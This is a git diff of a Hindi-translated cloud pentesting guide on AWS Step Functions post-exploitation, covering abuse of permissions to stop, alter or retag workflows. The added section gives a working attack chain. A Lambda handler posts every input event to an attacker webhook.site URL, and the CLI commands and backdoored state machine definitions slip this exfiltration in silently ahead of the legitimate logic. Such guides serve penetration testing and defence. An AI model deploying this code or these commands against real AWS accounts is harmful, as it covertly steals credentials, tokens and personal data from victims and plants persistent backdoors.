Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-03-27 12:45:14 +00:00
parent b8042e0509
commit 0a2852086f

View File

@@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
### `states:UpdateMapRun`
इस अनुमति के साथ एक हमलावर Map Run विफलता कॉन्फ़िगरेशन और समानांतर सेटिंग को हेरफेर कर सकता है, अधिकतम संख्या को बढ़ाने या घटाने में सक्षम हो सकता है जो बाल कार्यप्रवाह निष्पादन की अनुमति है, जो सेवा के प्रदर्शन को सीधे प्रभावित करता है। इसके अतिरिक्त, एक हमलावर सहनशील विफलता प्रतिशत और गणना के साथ छेड़छाड़ कर सकता है, इस मान को 0 तक घटाने में सक्षम हो सकता है ताकि हर बार जब एक आइटम विफल होता है, तो पूरा मैप रन विफल हो जाए, जो राज्य मशीन निष्पादन को सीधे प्रभावित करता है और संभावित रूप से महत्वपूर्ण कार्यप्रवाहों में बाधा डालता है।
इस अनुमति के साथ एक हमलावर Map Run विफलता कॉन्फ़िगरेशन और समानांतर सेटिंग को हेरफेर कर सकता है, अधिकतम बाल कार्यप्रवाह निष्पादन की संख्या को बढ़ाने या घटाने में सक्षम हो सकता है, जो सेवा के प्रदर्शन को सीधे प्रभावित करता है। इसके अलावा, एक हमलावर सहनशील विफलता प्रतिशत और गणना के साथ छेड़छाड़ कर सकता है, इस मान को 0 तक घटाने में सक्षम हो सकता है ताकि हर बार जब एक आइटम विफल होता है, तो पूरा मैप रन विफल हो जाए, जो राज्य मशीन निष्पादन को सीधे प्रभावित करता है और संभावित रूप से महत्वपूर्ण कार्यप्रवाहों में बाधा डालता है।
```bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
```
@@ -45,22 +45,140 @@ aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value
### `states:StopExecution`
इस अनुमति के साथ एक हमलावर किसी भी राज्य मशीन के निष्पादन को रोकने में सक्षम हो सकता है, चल रहे कार्यप्रवाहों और प्रक्रियाओं में बाधा डाल सकता है। इससे अधूरे लेनदेन, रुके हुए व्यावसायिक संचालन, और संभावित डेटा भ्रष्टाचार हो सकता है।
इस अनुमति के साथ एक हमलावर किसी भी राज्य मशीन के निष्पादन को रोकने में सक्षम हो सकता है, जिससे चल रहे कार्यप्रवाहों और प्रक्रियाओं में बाधा उत्पन्न होती है। इससे अधूरे लेनदेन, रुके हुए व्यावसायिक संचालन, और संभावित डेटा भ्रष्टाचार हो सकता है।
> [!WARNING]
> यह क्रिया **express state machines** द्वारा समर्थित नहीं है।
```bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
```
- **संभावित प्रभाव**: चल रहे कार्यप्रवाहों में बाधा, संचालन में रुकावट, और संभावित डेटा भ्रष्टाचार।
- **संभावित प्रभाव**: चल रहे कार्यप्रवाहों में बाधा, संचालन में डाउनटाइम, और संभावित डेटा भ्रष्टाचार।
### `states:TagResource`, `states:UntagResource`
एक हमलावर Step Functions संसाधनों से टैग जोड़, संशोधित, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुंच नियंत्रण नीतियों में बाधा उत्पन्न हो सकती है।
एक हमलावर Step Functions संसाधनों से टैग जोड़ सकता है, संशोधित कर सकता है, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुंच नियंत्रण नीतियों में बाधा उत्पन्न हो सकती है।
```bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
```
**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुंच नियंत्रण नीतियों में विघटन।
**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुंच नियंत्रण नीतियों में विघटन।
---
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
एक हमलावर जो निम्नलिखित अनुमतियों के साथ एक उपयोगकर्ता या भूमिका को समझौता करता है:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
```
...एक **उच्च-प्रभाव और छिपा हुआ पोस्ट-एक्सप्लॉइटेशन हमला** कर सकता है, जिसमें Lambda बैकडोरिंग को Step Function लॉजिक हेरफेर के साथ जोड़ा जाता है।
यह परिदृश्य मानता है कि पीड़ित **संवेदनशील इनपुट, जैसे क्रेडेंशियल्स, टोकन, या PII को प्रोसेस करने के लिए AWS Step Functions का उपयोग करता है।**
उदाहरण पीड़ित इनवोकेशन:
```bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
```
यदि Step Function को `LegitBusinessLogic` जैसे Lambda को सक्रिय करने के लिए कॉन्फ़िगर किया गया है, तो हमलावर **दो छिपे हुए हमले के रूपों** के साथ आगे बढ़ सकता है:
---
#### Lambda फ़ंक्शन को अपडेट किया गया
हमलावर Step Function द्वारा पहले से उपयोग किए जा रहे Lambda फ़ंक्शन (`LegitBusinessLogic`) के कोड को चुपचाप इनपुट डेटा को निकालने के लिए संशोधित करता है।
```python
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
```
```bash
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
```
---
#### Step Function में एक दुर्भावनापूर्ण स्थिति जोड़ें
वैकल्पिक रूप से, हमलावर कार्यप्रवाह की शुरुआत में **exfiltration state** को Step Function परिभाषा को अपडेट करके इंजेक्ट कर सकता है।
```malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
```
```bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
```
हमलावर स्थिति परिभाषा को इस तरह से अपडेट करने के लिए और भी अधिक छिपा हुआ हो सकता है
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "ExfiltrateSecrets",
"States": {
"ExfiltrateSecrets": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
"InputPath": "$",
"ResultPath": "$.exfil",
"Next": "OriginalState"
},
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
"End": true
}
}
}
जहाँ पीड़ित को भिन्नता का एहसास नहीं होगा
---
### पीड़ित सेटअप (शोषण के लिए संदर्भ)
- एक स्टेप फ़ंक्शन (`LegitStateMachine`) संवेदनशील उपयोगकर्ता इनपुट को संसाधित करने के लिए उपयोग किया जाता है।
- यह एक या एक से अधिक लैम्ब्डा फ़ंक्शंस जैसे `LegitBusinessLogic` को कॉल करता है।
---
**संभावित प्रभाव**:
- संवेदनशील डेटा जैसे रहस्य, क्रेडेंशियल्स, एपीआई कुंजी, और PII का चुपचाप निकासी।
- कार्यप्रवाह निष्पादन में कोई दृश्य त्रुटियाँ या विफलताएँ नहीं।
- लैम्ब्डा कोड या निष्पादन ट्रेस का ऑडिट किए बिना पहचानना कठिन।
- यदि बैकडोर कोड या ASL लॉजिक में बना रहता है तो दीर्घकालिक स्थिरता सक्षम करता है।
{{#include ../../../banners/hacktricks-training.md}}